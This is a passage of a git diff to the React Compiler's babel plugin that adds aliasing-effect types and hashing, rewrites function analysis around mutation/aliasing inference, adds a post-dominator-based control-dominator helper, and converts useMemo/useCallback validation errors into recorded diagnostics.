+   * Records information flow from `from` to `into` in cases where local mutation of the destination
+   * *will* mutate the source:
+   *
+   * - Alias a -> b and Mutate(b) => (does imply) Mutate(a)
+   * - Alias a -> b and MutateTransitive(b) => (does imply) Mutate(a)
+   *
+   * Example: `c = identity(a)`. We don't know what `identity()` returns so we can't use Assign.
+   * But we have to assume that it _could_ be returning its input, such that a local mutation of
+   * c could be mutating a.
+   */
+  | {kind: 'Alias'; from: Place; into: Place}
+
+  /**
+   * Indicates the potential for information flow from `from` to `into`. This is used for a specific
+   * case: functions with unknown signatures. If the compiler sees a call such as `foo(x)`, it has to
+   * consider several possibilities (which may depend on the arguments):
+   * - foo(x) returns a new mutable value that does not capture any information from x.
+   * - foo(x) returns a new mutable value that *does* capture information from x.
+   * - foo(x) returns x itself, ie foo is the identity function
+   *
+   * The same is true of functions that take multiple arguments: `cond(a, b, c)` could conditionally
+   * return b or c depending on the value of a.
+   *
+   * To represent this case, MaybeAlias represents the fact that an aliasing relationship could exist.
+   * Any mutations that flow through this relationship automatically become conditional.
+   */
+  | {kind: 'MaybeAlias'; from: Place; into: Place}
+
+  /**
+   * Records direct assignment: `into = from`.
+   */
+  | {kind: 'Assign'; from: Place; into: Place}
+  /**
+   * Creates a value of the given type at the given place
+   */
+  | {kind: 'Create'; into: Place; value: ValueKind; reason: ValueReason}
+  /**
+   * Creates a new value with the same kind as the starting value.
+   */
+  | {kind: 'CreateFrom'; from: Place; into: Place}
+  /**
+   * Immutable data flow, used for escape analysis. Does not influence mutable range analysis:
+   */
+  | {kind: 'ImmutableCapture'; from: Place; into: Place}
+  /**
+   * Calls the function at the given place with the given arguments either captured or aliased,
+   * and captures/aliases the result into the given place.
+   */
+  | {
+      kind: 'Apply';
+      receiver: Place;
+      function: Place;
+      mutatesFunction: boolean;
+      args: Array<Place | SpreadPattern | Hole>;
+      into: Place;
+      signature: FunctionSignature | null;
+      loc: SourceLocation;
+    }
+  /**
+   * Constructs a function value with the given captures. The mutability of the function
+   * will be determined by the mutability of the capture values when evaluated.
+   */
+  | {
+      kind: 'CreateFunction';
+      captures: Array<Place>;
+      function: FunctionExpression | ObjectMethod;
+      into: Place;
+    }
+  /**
+   * Mutation of a value known to be immutable
+   */
+  | {kind: 'MutateFrozen'; place: Place; error: CompilerDiagnostic}
+  /**
+   * Mutation of a global
+   */
+  | {
+      kind: 'MutateGlobal';
+      place: Place;
+      error: CompilerDiagnostic;
+    }
+  /**
+   * Indicates a side-effect that is not safe during render
+   */
+  | {kind: 'Impure'; place: Place; error: CompilerDiagnostic}
+  /**
+   * Indicates that a given place is accessed during render. Used to distingush
+   * hook arguments that are known to be called immediately vs those used for
+   * event handlers/effects, and for JSX values known to be called during render
+   * (tags, children) vs those that may be events/effect (other props).
+   */
+  | {
+      kind: 'Render';
+      place: Place;
+    };
+
+export type MutationReason = {kind: 'AssignCurrentProperty'};
+
+export function hashEffect(effect: AliasingEffect): string {
+  switch (effect.kind) {
+    case 'Apply': {
+      return [
+        effect.kind,
+        effect.receiver.identifier.id,
+        effect.function.identifier.id,
+        effect.mutatesFunction,
+        effect.args
+          .map(a => {
+            if (a.kind === 'Hole') {
+              return '';
+            } else if (a.kind === 'Identifier') {
+              return a.identifier.id;
+            } else {
+              return `...${a.place.identifier.id}`;
+            }
+          })
+          .join(','),
+        effect.into.identifier.id,
+      ].join(':');
+    }
+    case 'CreateFrom':
+    case 'ImmutableCapture':
+    case 'Assign':
+    case 'Alias':
+    case 'Capture':
+    case 'MaybeAlias': {
+      return [
+        effect.kind,
+        effect.from.identifier.id,
+        effect.into.identifier.id,
+      ].join(':');
+    }
+    case 'Create': {
+      return [
+        effect.kind,
+        effect.into.identifier.id,
+        effect.value,
+        effect.reason,
+      ].join(':');
+    }
+    case 'Freeze': {
+      return [effect.kind, effect.value.identifier.id, effect.reason].join(':');
+    }
+    case 'Impure':
+    case 'Render': {
+      return [effect.kind, effect.place.identifier.id].join(':');
+    }
+    case 'MutateFrozen':
+    case 'MutateGlobal': {
+      return [
+        effect.kind,
+        effect.place.identifier.id,
+        effect.error.severity,
+        effect.error.reason,
+        effect.error.description,
+        printSourceLocation(effect.error.primaryLocation() ?? GeneratedSource),
+      ].join(':');
+    }
+    case 'Mutate':
+    case 'MutateConditionally':
+    case 'MutateTransitive':
+    case 'MutateTransitiveConditionally': {
+      return [effect.kind, effect.value.identifier.id].join(':');
+    }
+    case 'CreateFunction': {
+      return [
+        effect.kind,
+        effect.into.identifier.id,
+        // return places are a unique way to identify functions themselves
+        effect.function.loweredFunc.func.returns.identifier.id,
+        effect.captures.map(p => p.identifier.id).join(','),
+      ].join(':');
+    }
+  }
+}
+
+export type AliasingSignature = {
+  receiver: IdentifierId;
+  params: Array<IdentifierId>;
+  rest: IdentifierId | null;
+  returns: IdentifierId;
+  effects: Array<AliasingEffect>;
+  temporaries: Array<Place>;
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/Inference/AnalyseFunctions.ts b/compiler/packages/babel-plugin-react-compiler/src/Inference/AnalyseFunctions.ts
index e855340fb046..09637dc3af18 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/Inference/AnalyseFunctions.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/Inference/AnalyseFunctions.ts
@@ -5,96 +5,38 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import { CompilerError } from "../CompilerError";
-import {
-  Effect,
-  HIRFunction,
-  Identifier,
-  IdentifierName,
-  LoweredFunction,
-  Place,
-  ReactiveScopeDependency,
-  isRefValueType,
-  isUseRefType,
-  makeInstructionId,
-} from "../HIR";
-import { deadCodeElimination } from "../Optimization";
-import { inferReactiveScopeVariables } from "../ReactiveScopes";
-import { leaveSSA } from "../SSA";
-import { logHIRFunction } from "../Utils/logger";
-import { inferMutableContextVariables } from "./InferMutableContextVariables";
-import { inferMutableRanges } from "./InferMutableRanges";
-import inferReferenceEffects from "./InferReferenceEffects";
-
-// Helper class to track indirections such as LoadLocal and PropertyLoad.
-export class IdentifierState {
-  properties: Map<Identifier, ReactiveScopeDependency> = new Map();
-
-  resolve(identifier: Identifier): Identifier {
-    const resolved = this.properties.get(identifier);
-    if (resolved !== undefined) {
-      return resolved.identifier;
-    }
-    return identifier;
-  }
-
-  declareProperty(lvalue: Place, object: Place, property: string): void {
-    const objectDependency = this.properties.get(object.identifier);
-    let nextDependency: ReactiveScopeDependency;
-    if (objectDependency === undefined) {
-      nextDependency = { identifier: object.identifier, path: [property] };
-    } else {
-      nextDependency = {
-        identifier: objectDependency.identifier,
-        path: [...objectDependency.path, property],
-      };
-    }
-    this.properties.set(lvalue.identifier, nextDependency);
-  }
-
-  declareTemporary(lvalue: Place, value: Place): void {
-    const resolved: ReactiveScopeDependency = this.properties.get(
-      value.identifier
-    ) ?? {
-      identifier: value.identifier,
-      path: [],
-    };
-    this.properties.set(lvalue.identifier, resolved);
-  }
-}
+import {CompilerError} from '../CompilerError';
+import {Effect, HIRFunction, IdentifierId, makeInstructionId} from '../HIR';
+import {deadCodeElimination} from '../Optimization';
+import {inferReactiveScopeVariables} from '../ReactiveScopes';
+import {rewriteInstructionKindsBasedOnReassignment} from '../SSA';
+import {assertExhaustive} from '../Utils/utils';
+import {inferMutationAliasingEffects} from './InferMutationAliasingEffects';
+import {inferMutationAliasingRanges} from './InferMutationAliasingRanges';
 
 export default function analyseFunctions(func: HIRFunction): void {
-  const state = new IdentifierState();
-
   for (const [_, block] of func.body.blocks) {
     for (const instr of block.instructions) {
       switch (instr.value.kind) {
-        case "ObjectMethod":
-        case "FunctionExpression": {
-          lower(instr.value.loweredFunc.func);
-          infer(instr.value.loweredFunc, state, func.context);
-          break;
-        }
-        case "PropertyLoad": {
-          state.declareProperty(
-            instr.lvalue,
-            instr.value.object,
-            instr.value.property
-          );
-          break;
-        }
-        case "ComputedLoad": {
-          /*
-           * The path is set to an empty string as the path doesn't really
-           * matter for a computed load.
+        case 'ObjectMethod':
+        case 'FunctionExpression': {
+          lowerWithMutationAliasing(instr.value.loweredFunc.func);
+
+          /**
+           * Reset mutable range for outer inferReferenceEffects
            */
-          state.declareProperty(instr.lvalue, instr.value.object, "");
-          break;
-        }
-        case "LoadLocal":
-        case "LoadContext": {
-          if (instr.lvalue.identifier.name === null) {
-            state.declareTemporary(instr.lvalue, instr.value.place);
+          for (const operand of instr.value.loweredFunc.func.context) {
+            /**
+             * NOTE: inferReactiveScopeVariables makes identifiers in the scope
+             * point to the *same* mutableRange instance. Resetting start/end
+             * here is insufficient, because a later mutation of the range
+             * for any one identifier could affect the range for other identifiers.
+             */
+            operand.identifier.mutableRange = {
+              start: makeInstructionId(0),
+              end: makeInstructionId(0),
+            };
+            operand.identifier.scope = null;
           }
           break;
         }
@@ -103,97 +45,83 @@ export default function analyseFunctions(func: HIRFunction): void {
   }
 }
 
-function lower(func: HIRFunction): void {
-  analyseFunctions(func);
-  inferReferenceEffects(func, { isFunctionExpression: true });
-  deadCodeElimination(func);
-  inferMutableRanges(func);
-  leaveSSA(func);
-  inferReactiveScopeVariables(func);
-  inferMutableContextVariables(func);
-  logHIRFunction("AnalyseFunction (inner)", func);
-}
-
-function infer(
-  loweredFunc: LoweredFunction,
-  state: IdentifierState,
-  context: Array<Place>
-): void {
-  const mutations = new Map<string, Effect>();
-  for (const operand of loweredFunc.func.context) {
-    if (
-      isMutatedOrReassigned(operand.identifier) &&
-      operand.identifier.name !== null
-    ) {
-      mutations.set(operand.identifier.name.value, operand.effect);
-    }
-  }
-
-  for (const dep of loweredFunc.dependencies) {
-    let name: IdentifierName | null = null;
-
-    if (state.properties.has(dep.identifier)) {
-      const receiver = state.properties.get(dep.identifier)!;
-      name = receiver.identifier.name;
-    } else {
-      name = dep.identifier.name;
-    }
-
-    if (isUseRefType(dep.identifier) || isRefValueType(dep.identifier)) {
-      /*
-       * TODO: this is a hack to ensure we treat functions which reference refs
-       * as having a capture and therefore being considered mutable. this ensures
-       * the function gets a mutable range which accounts for anywhere that it
-       * could be called, and allows us to help ensure it isn't called during
-       * render
-       */
-      dep.effect = Effect.Capture;
-    } else if (name !== null) {
-      const effect = mutations.get(name.value);
-      if (effect !== undefined) {
-        dep.effect = effect === Effect.Unknown ? Effect.Capture : effect;
+function lowerWithMutationAliasing(fn: HIRFunction): void {
+  /**
+   * Phase 1: similar to lower(), but using the new mutation/aliasing inference
+   */
+  analyseFunctions(fn);
+  inferMutationAliasingEffects(fn, {isFunctionExpression: true});
+  deadCodeElimination(fn);
+  const functionEffects = inferMutationAliasingRanges(fn, {
+    isFunctionExpression: true,
+  });
+  rewriteInstructionKindsBasedOnReassignment(fn);
+  inferReactiveScopeVariables(fn);
+  fn.aliasingEffects = functionEffects;
+
+  /**
+   * Phase 2: populate the Effect of each context variable to use in inferring
+   * the outer function. For example, InferMutationAliasingEffects uses context variable
+   * effects to decide if the function may be mutable or not.
+   */
+  const capturedOrMutated = new Set<IdentifierId>();
+  for (const effect of functionEffects) {
+    switch (effect.kind) {
+      case 'Assign':
+      case 'Alias':
+      case 'Capture':
+      case 'CreateFrom':
+      case 'MaybeAlias': {
+        capturedOrMutated.add(effect.from.identifier.id);
+        break;
+      }
+      case 'Apply': {
+        CompilerError.invariant(false, {
+          reason: `[AnalyzeFunctions] Expected Apply effects to be replaced with more precise effects`,
+          loc: effect.function.loc,
+        });
+      }
+      case 'Mutate':
+      case 'MutateConditionally':
+      case 'MutateTransitive':
+      case 'MutateTransitiveConditionally': {
+        capturedOrMutated.add(effect.value.identifier.id);
+        break;
+      }
+      case 'Impure':
+      case 'Render':
+      case 'MutateFrozen':
+      case 'MutateGlobal':
+      case 'CreateFunction':
+      case 'Create':
+      case 'Freeze':
+      case 'ImmutableCapture': {
+        // no-op
+        break;
+      }
+      default: {
+        assertExhaustive(
+          effect,
+          `Unexpected effect kind ${(effect as any).kind}`,
+        );
       }
     }
   }
 
-  /*
-   * This could potentially add duplicate deps to mutatedDeps in the case of
-   * mutating a context ref in the child function and in this parent function.
-   * It might be useful to dedupe this.
-   *
-   * In practice this never really matters because the Component function has no
-   * context refs, so it will never have duplicate deps.
-   */
-  for (const place of context) {
-    CompilerError.invariant(place.identifier.name !== null, {
-      reason: "context refs should always have a name",
-      description: null,
-      loc: place.loc,
-      suggestions: null,
-    });
-
-    const effect = mutations.get(place.identifier.name.value);
-    if (effect !== undefined) {
-      place.effect = effect === Effect.Unknown ? Effect.Capture : effect;
-      loweredFunc.dependencies.push(place);
+  for (const operand of fn.context) {
+    if (
+      capturedOrMutated.has(operand.identifier.id) ||
+      operand.effect === Effect.Capture
+    ) {
+      operand.effect = Effect.Capture;
+    } else {
+      operand.effect = Effect.Read;
     }
   }
 
-  for (const operand of loweredFunc.func.context) {
-    operand.identifier.mutableRange.start = makeInstructionId(0);
-    operand.identifier.mutableRange.end = makeInstructionId(0);
-    operand.identifier.scope = null;
-  }
-}
-
-function isMutatedOrReassigned(id: Identifier): boolean {
-  /*
-   * This check checks for mutation and reassingnment, so the usual check for
-   * mutation (ie, `mutableRange.end - mutableRange.start > 1`) isn't quite
-   * enough.
-   *
-   * We need to track re-assignments in context refs as we need to reflect the
-   * re-assignment back to the captured refs.
-   */
-  return id.mutableRange.end > id.mutableRange.start;
+  fn.env.logger?.debugLogIRs?.({
+    kind: 'hir',
+    name: 'AnalyseFunction (inner)',
+    value: fn,
+  });
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/Inference/ControlDominators.ts b/compiler/packages/babel-plugin-react-compiler/src/Inference/ControlDominators.ts
new file mode 100644
index 000000000000..1fab651947a1
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/Inference/ControlDominators.ts
@@ -0,0 +1,114 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
+
+import {BlockId, computePostDominatorTree, HIRFunction, Place} from '../HIR';
+import {PostDominator} from '../HIR/Dominator';
+
+export type ControlDominators = (id: BlockId) => boolean;
+
+/**
+ * Returns an object that lazily calculates whether particular blocks are controlled
+ * by values of interest. Which values matter are up to the caller.
+ */
+export function createControlDominators(
+  fn: HIRFunction,
+  isControlVariable: (place: Place) => boolean,
+): ControlDominators {
+  const postDominators = computePostDominatorTree(fn, {
+    includeThrowsAsExitNode: false,
+  });
+  const postDominatorFrontierCache = new Map<BlockId, Set<BlockId>>();
+
+  function isControlledBlock(id: BlockId): boolean {
+    let controlBlocks = postDominatorFrontierCache.get(id);
+    if (controlBlocks === undefined) {
+      controlBlocks = postDominatorFrontier(fn, postDominators, id);
+      postDominatorFrontierCache.set(id, controlBlocks);
+    }
+    for (const blockId of controlBlocks) {
+      const controlBlock = fn.body.blocks.get(blockId)!;
+      switch (controlBlock.terminal.kind) {
+        case 'if':
+        case 'branch': {
+          if (isControlVariable(controlBlock.terminal.test)) {
+            return true;
+          }
+          break;
+        }
+        case 'switch': {
+          if (isControlVariable(controlBlock.terminal.test)) {
+            return true;
+          }
+          for (const case_ of controlBlock.terminal.cases) {
+            if (case_.test !== null && isControlVariable(case_.test)) {
+              return true;
+            }
+          }
+          break;
+        }
+      }
+    }
+    return false;
+  }
+
+  return isControlledBlock;
+}
+
+/*
+ * Computes the post-dominator frontier of @param block. These are immediate successors of nodes that
+ * post-dominate @param targetId and from which execution may not reach @param block. Intuitively, these
+ * are the earliest blocks from which execution branches such that it may or may not reach the target block.
+ */
+function postDominatorFrontier(
+  fn: HIRFunction,
+  postDominators: PostDominator<BlockId>,
+  targetId: BlockId,
+): Set<BlockId> {
+  const visited = new Set<BlockId>();
+  const frontier = new Set<BlockId>();
+  const targetPostDominators = postDominatorsOf(fn, postDominators, targetId);
+  for (const blockId of [...targetPostDominators, targetId]) {
+    if (visited.has(blockId)) {
+      continue;
+    }
+    visited.add(blockId);
+    const block = fn.body.blocks.get(blockId)!;
+    for (const pred of block.preds) {
+      if (!targetPostDominators.has(pred)) {
+        // The predecessor does not always reach this block, we found an item on the frontier!
+        frontier.add(pred);
+      }
+    }
+  }
+  return frontier;
+}
+
+function postDominatorsOf(
+  fn: HIRFunction,
+  postDominators: PostDominator<BlockId>,
+  targetId: BlockId,
+): Set<BlockId> {
+  const result = new Set<BlockId>();
+  const visited = new Set<BlockId>();
+  const queue = [targetId];
+  while (queue.length) {
+    const currentId = queue.shift()!;
+    if (visited.has(currentId)) {
+      continue;
+    }
+    visited.add(currentId);
+    const current = fn.body.blocks.get(currentId)!;
+    for (const pred of current.preds) {
+      const predPostDominator = postDominators.get(pred) ?? pred;
+      if (predPostDominator === targetId || result.has(predPostDominator)) {
+        result.add(pred);
+      }
+      queue.push(pred);
+    }
+  }
+  return result;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/Inference/DropManualMemoization.ts b/compiler/packages/babel-plugin-react-compiler/src/Inference/DropManualMemoization.ts
index 932cb4cc806d..90acd83ea59f 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/Inference/DropManualMemoization.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/Inference/DropManualMemoization.ts
@@ -5,7 +5,8 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import { CompilerError, SourceLocation } from "..";
+import {CompilerDiagnostic, CompilerError, SourceLocation} from '..';
+import {ErrorCategory} from '../CompilerError';
 import {
   CallExpression,
   Effect,
@@ -28,11 +29,11 @@ import {
   TInstruction,
   getHookKindForType,
   makeInstructionId,
-} from "../HIR";
-import { createTemporaryPlace, markInstructionIds } from "../HIR/HIRBuilder";
+} from '../HIR';
+import {createTemporaryPlace, markInstructionIds} from '../HIR/HIRBuilder';
 
 type ManualMemoCallee = {
-  kind: "useMemo" | "useCallback";
+  kind: 'useMemo' | 'useCallback';
   loadInstr: TInstruction<LoadGlobal> | TInstruction<PropertyLoad>;
 };
 
@@ -40,8 +41,9 @@ type IdentifierSidemap = {
   functions: Map<IdentifierId, TInstruction<FunctionExpression>>;
   manualMemos: Map<IdentifierId, ManualMemoCallee>;
   react: Set<IdentifierId>;
-  maybeDepsLists: Map<IdentifierId, Array<Place>>;
+  maybeDepsLists: Map<IdentifierId, {loc: SourceLocation; deps: Array<Place>}>;
   maybeDeps: Map<IdentifierId, ManualMemoDependency>;
+  optionals: Set<IdentifierId>;
 };
 
 /**
@@ -51,49 +53,58 @@ type IdentifierSidemap = {
  */
 export function collectMaybeMemoDependencies(
   value: InstructionValue,
-  maybeDeps: Map<IdentifierId, ManualMemoDependency>
+  maybeDeps: Map<IdentifierId, ManualMemoDependency>,
+  optional: boolean,
 ): ManualMemoDependency | null {
   switch (value.kind) {
-    case "LoadGlobal": {
+    case 'LoadGlobal': {
       return {
         root: {
-          kind: "Global",
+          kind: 'Global',
           identifierName: value.binding.name,
         },
         path: [],
+        loc: value.loc,
       };
     }
-    case "PropertyLoad": {
+    case 'PropertyLoad': {
       const object = maybeDeps.get(value.object.identifier.id);
       if (object != null) {
         return {
           root: object.root,
-          path: [...object.path, value.property],
+          // TODO: determine if the access is optional
+          path: [
+            ...object.path,
+            {property: value.property, optional, loc: value.loc},
+          ],
+          loc: value.loc,
         };
       }
       break;
     }
 
-    case "LoadLocal":
-    case "LoadContext": {
+    case 'LoadLocal':
+    case 'LoadContext': {
       const source = maybeDeps.get(value.place.identifier.id);
       if (source != null) {
         return source;
       } else if (
         value.place.identifier.name != null &&
-        value.place.identifier.name.kind === "named"
+        value.place.identifier.name.kind === 'named'
       ) {
         return {
           root: {
-            kind: "NamedLocal",
-            value: { ...value.place },
+            kind: 'NamedLocal',
+            value: {...value.place},
+            constant: false,
           },
           path: [],
+          loc: value.place.loc,
         };
       }
       break;
     }
-    case "StoreLocal": {
+    case 'StoreLocal': {
       /*
        * Value blocks rely on StoreLocal to populate their return value.
        * We need to track these as optional property chains are valid in
@@ -102,7 +113,7 @@ export function collectMaybeMemoDependencies(
       const lvalue = value.lvalue.place.identifier;
       const rvalue = value.value.identifier.id;
       const aliased = maybeDeps.get(rvalue);
-      if (aliased != null && lvalue.name?.kind !== "named") {
+      if (aliased != null && lvalue.name?.kind !== 'named') {
         maybeDeps.set(lvalue.id, aliased);
         return aliased;
       }
@@ -115,53 +126,58 @@ export function collectMaybeMemoDependencies(
 function collectTemporaries(
   instr: Instruction,
   env: Environment,
-  sidemap: IdentifierSidemap
+  sidemap: IdentifierSidemap,
 ): void {
-  const { value, lvalue } = instr;
+  const {value, lvalue} = instr;
   switch (value.kind) {
-    case "FunctionExpression": {
+    case 'FunctionExpression': {
       sidemap.functions.set(
         instr.lvalue.identifier.id,
-        instr as TInstruction<FunctionExpression>
+        instr as TInstruction<FunctionExpression>,
       );
       break;
     }
-    case "LoadGlobal": {
-      const global = env.getGlobalDeclaration(value.binding);
+    case 'LoadGlobal': {
+      const global = env.getGlobalDeclaration(value.binding, value.loc);
       const hookKind = global !== null ? getHookKindForType(env, global) : null;
       const lvalId = instr.lvalue.identifier.id;
-      if (hookKind === "useMemo" || hookKind === "useCallback") {
+      if (hookKind === 'useMemo' || hookKind === 'useCallback') {
         sidemap.manualMemos.set(lvalId, {
           kind: hookKind,
           loadInstr: instr as TInstruction<LoadGlobal>,
         });
-      } else if (value.binding.name === "React") {
+      } else if (value.binding.name === 'React') {
         sidemap.react.add(lvalId);
       }
       break;
     }
-    case "PropertyLoad": {
+    case 'PropertyLoad': {
       if (sidemap.react.has(value.object.identifier.id)) {
-        if (value.property === "useMemo" || value.property === "useCallback") {
+        const property = value.property;
+        if (property === 'useMemo' || property === 'useCallback') {
           sidemap.manualMemos.set(instr.lvalue.identifier.id, {
-            kind: value.property,
+            kind: property as 'useMemo' | 'useCallback',
             loadInstr: instr as TInstruction<PropertyLoad>,
           });
         }
       }
       break;
     }
-    case "ArrayExpression": {
-      if (value.elements.every((e) => e.kind === "Identifier")) {
-        sidemap.maybeDepsLists.set(
-          instr.lvalue.identifier.id,
-          value.elements as Array<Place>
-        );
+    case 'ArrayExpression': {
+      if (value.elements.every(e => e.kind === 'Identifier')) {
+        sidemap.maybeDepsLists.set(instr.lvalue.identifier.id, {
+          loc: value.loc,
+          deps: value.elements as Array<Place>,
+        });
       }
       break;
     }
   }
-  const maybeDep = collectMaybeMemoDependencies(value, sidemap.maybeDeps);
+  const maybeDep = collectMaybeMemoDependencies(
+    value,
+    sidemap.maybeDeps,
+    sidemap.optionals.has(lvalue.identifier.id),
+  );
   // We don't expect named lvalues during this pass (unlike ValidatePreservingManualMemo)
   if (maybeDep != null) {
     sidemap.maybeDeps.set(lvalue.identifier.id, maybeDep);
@@ -172,34 +188,38 @@ function makeManualMemoizationMarkers(
   fnExpr: Place,
   env: Environment,
   depsList: Array<ManualMemoDependency> | null,
+  depsLoc: SourceLocation | null,
   memoDecl: Place,
-  manualMemoId: number
+  manualMemoId: number,
 ): [TInstruction<StartMemoize>, TInstruction<FinishMemoize>] {
   return [
     {
       id: makeInstructionId(0),
       lvalue: createTemporaryPlace(env, fnExpr.loc),
       value: {
-        kind: "StartMemoize",
+        kind: 'StartMemoize',
         manualMemoId,
         /*
          * Use deps list from source instead of inferred deps
          * as dependencies
          */
         deps: depsList,
+        depsLoc,
         loc: fnExpr.loc,
       },
+      effects: null,
       loc: fnExpr.loc,
     },
     {
       id: makeInstructionId(0),
       lvalue: createTemporaryPlace(env, fnExpr.loc),
       value: {
-        kind: "FinishMemoize",
+        kind: 'FinishMemoize',
         manualMemoId,
-        decl: { ...memoDecl },
+        decl: {...memoDecl},
         loc: fnExpr.loc,
       },
+      effects: null,
       loc: fnExpr.loc,
     },
   ];
@@ -208,9 +228,9 @@ function makeManualMemoizationMarkers(
 function getManualMemoizationReplacement(
   fn: Place,
   loc: SourceLocation,
-  kind: "useMemo" | "useCallback"
+  kind: 'useMemo' | 'useCallback',
 ): LoadLocal | CallExpression {
-  if (kind === "useMemo") {
+  if (kind === 'useMemo') {
     /*
      * Replace the hook callee with the fn arg.
      *
@@ -230,7 +250,7 @@ function getManualMemoizationReplacement(
      * inline the useMemo callback along with any other immediately invoked IIFEs.
      */
     return {
-      kind: "CallExpression",
+      kind: 'CallExpression',
       callee: fn,
       /*
        * Drop the args, including the deps array which DCE will remove
@@ -256,9 +276,9 @@ function getManualMemoizationReplacement(
      *   $4 = LoadLocal $2             // reference the function
      */
     return {
-      kind: "LoadLocal",
+      kind: 'LoadLocal',
       place: {
-        kind: "Identifier",
+        kind: 'Identifier',
         identifier: fn.identifier,
         effect: Effect.Unknown,
         reactive: false,
@@ -271,56 +291,89 @@ function getManualMemoizationReplacement(
 
 function extractManualMemoizationArgs(
   instr: TInstruction<CallExpression> | TInstruction<MethodCall>,
-  kind: "useCallback" | "useMemo",
-  sidemap: IdentifierSidemap
+  kind: 'useCallback' | 'useMemo',
+  sidemap: IdentifierSidemap,
+  env: Environment,
 ): {
   fnPlace: Place;
   depsList: Array<ManualMemoDependency> | null;
-} {
+  depsLoc: SourceLocation | null;
+} | null {
   const [fnPlace, depsListPlace] = instr.value.args as Array<
     Place | SpreadPattern | undefined
   >;
-  if (fnPlace == null) {
-    CompilerError.throwInvalidReact({
-      reason: `Expected a callback function to be passed to ${kind}`,
-      loc: instr.value.loc,
-      suggestions: null,
-    });
+  if (fnPlace == null || fnPlace.kind !== 'Identifier') {
+    env.recordError(
+      CompilerDiagnostic.create({
+        category: ErrorCategory.UseMemo,
+        reason: `Expected a callback function to be passed to ${kind}`,
+        description:
+          kind === 'useCallback'
+            ? 'The first argument to useCallback() must be a function to cache'
+            : 'The first argument to useMemo() must be a function that calculates a result to cache',
+        suggestions: null,
+      }).withDetails({
+        kind: 'error',
+        loc: instr.value.loc,
+        message:
+          kind === 'useCallback'
+            ? `Expected a callback function`
+            : `Expected a memoization function`,
+      }),
+    );
+    return null;
   }
-  if (fnPlace.kind === "Spread" || depsListPlace?.kind === "Spread") {
-    CompilerError.throwInvalidReact({
-      reason: `Unexpected spread argument to ${kind}`,
-      loc: instr.value.loc,
-      suggestions: null,
-    });
+  if (depsListPlace == null) {
+    return {
+      fnPlace,
+      depsList: null,
+      depsLoc: null,
+    };
   }
-  let depsList: Array<ManualMemoDependency> | null = null;
-  if (depsListPlace != null) {
-    const maybeDepsList = sidemap.maybeDepsLists.get(
-      depsListPlace.identifier.id
-    );
-    if (maybeDepsList == null) {
-      CompilerError.throwInvalidReact({
+  const maybeDepsList =
+    depsListPlace.kind === 'Identifier'
+      ? sidemap.maybeDepsLists.get(depsListPlace.identifier.id)
+      : null;
+  if (maybeDepsList == null) {
+    env.recordError(
+      CompilerDiagnostic.create({
+        category: ErrorCategory.UseMemo,
         reason: `Expected the dependency list for ${kind} to be an array literal`,
+        description: `Expected the dependency list for ${kind} to be an array literal`,
         suggestions: null,
-        loc: depsListPlace.loc,
-      });
-    }
-    depsList = maybeDepsList.map((dep) => {
-      const maybeDep = sidemap.maybeDeps.get(dep.identifier.id);
-      if (maybeDep == null) {
-        CompilerError.throwInvalidReact({
+      }).withDetails({
+        kind: 'error',
+        loc:
+          depsListPlace?.kind === 'Identifier' ? depsListPlace.loc : instr.loc,
+        message: `Expected the dependency list for ${kind} to be an array literal`,
+      }),
+    );
+    return null;
+  }
+  const depsList: Array<ManualMemoDependency> = [];
+  for (const dep of maybeDepsList.deps) {
+    const maybeDep = sidemap.maybeDeps.get(dep.identifier.id);
+    if (maybeDep == null) {
+      env.recordError(
+        CompilerDiagnostic.create({
+          category: ErrorCategory.UseMemo,
           reason: `Expected the dependency list to be an array of simple expressions (e.g. \`x\`, \`x.y.z\`, \`x?.y?.z\`)`,
+          description: `Expected the dependency list to be an array of simple expressions (e.g. \`x\`, \`x.y.z\`, \`x?.y?.z\`)`,
           suggestions: null,
+        }).withDetails({
+          kind: 'error',
           loc: dep.loc,
-        });
-      }
-      return maybeDep;
-    });
+          message: `Expected the dependency list to be an array of simple expressions (e.g. \`x\`, \`x.y.z\`, \`x?.y?.z\`)`,
+        }),
+      );
+    } else {
+      depsList.push(maybeDep);
+    }
   }
   return {
     fnPlace,
     depsList,
+    depsLoc: maybeDepsList.loc,
   };
 }
 
@@ -331,17 +384,23 @@ function extractManualMemoizationArgs(
  * rely on type inference to find useMemo/useCallback invocations, and instead does basic tracking
  * of globals and property loads to find both direct calls as well as usage via the React namespace,
  * eg `React.useMemo()`.
+ *
+ * This pass also validates that useMemo callbacks return a value (not void), ensuring that useMemo
+ * is only used for memoizing values and not for running arbitrary side effects.
  */
 export function dropManualMemoization(func: HIRFunction): void {
   const isValidationEnabled =
     func.env.config.validatePreserveExistingMemoizationGuarantees ||
+    func.env.config.validateNoSetStateInRender ||
     func.env.config.enablePreserveExistingMemoizationGuarantees;
+  const optionals = findOptionalPlaces(func);
   const sidemap: IdentifierSidemap = {
     functions: new Map(),
     manualMemos: new Map(),
     react: new Set(),
     maybeDeps: new Map(),
     maybeDepsLists: new Map(),
+    optionals,
   };
   let nextManualMemoId = 0;
 
@@ -362,25 +421,32 @@ export function dropManualMemoization(func: HIRFunction): void {
     for (let i = 0; i < block.instructions.length; i++) {
       const instr = block.instructions[i]!;
       if (
-        instr.value.kind === "CallExpression" ||
-        instr.value.kind === "MethodCall"
+        instr.value.kind === 'CallExpression' ||
+        instr.value.kind === 'MethodCall'
       ) {
         const id =
-          instr.value.kind === "CallExpression"
+          instr.value.kind === 'CallExpression'
             ? instr.value.callee.identifier.id
             : instr.value.property.identifier.id;
 
         const manualMemo = sidemap.manualMemos.get(id);
         if (manualMemo != null) {
-          const { fnPlace, depsList } = extractManualMemoizationArgs(
+          const memoDetails = extractManualMemoizationArgs(
             instr as TInstruction<CallExpression> | TInstruction<MethodCall>,
             manualMemo.kind,
-            sidemap
+            sidemap,
+            func.env,
           );
+
+          if (memoDetails == null) {
+            continue;
+          }
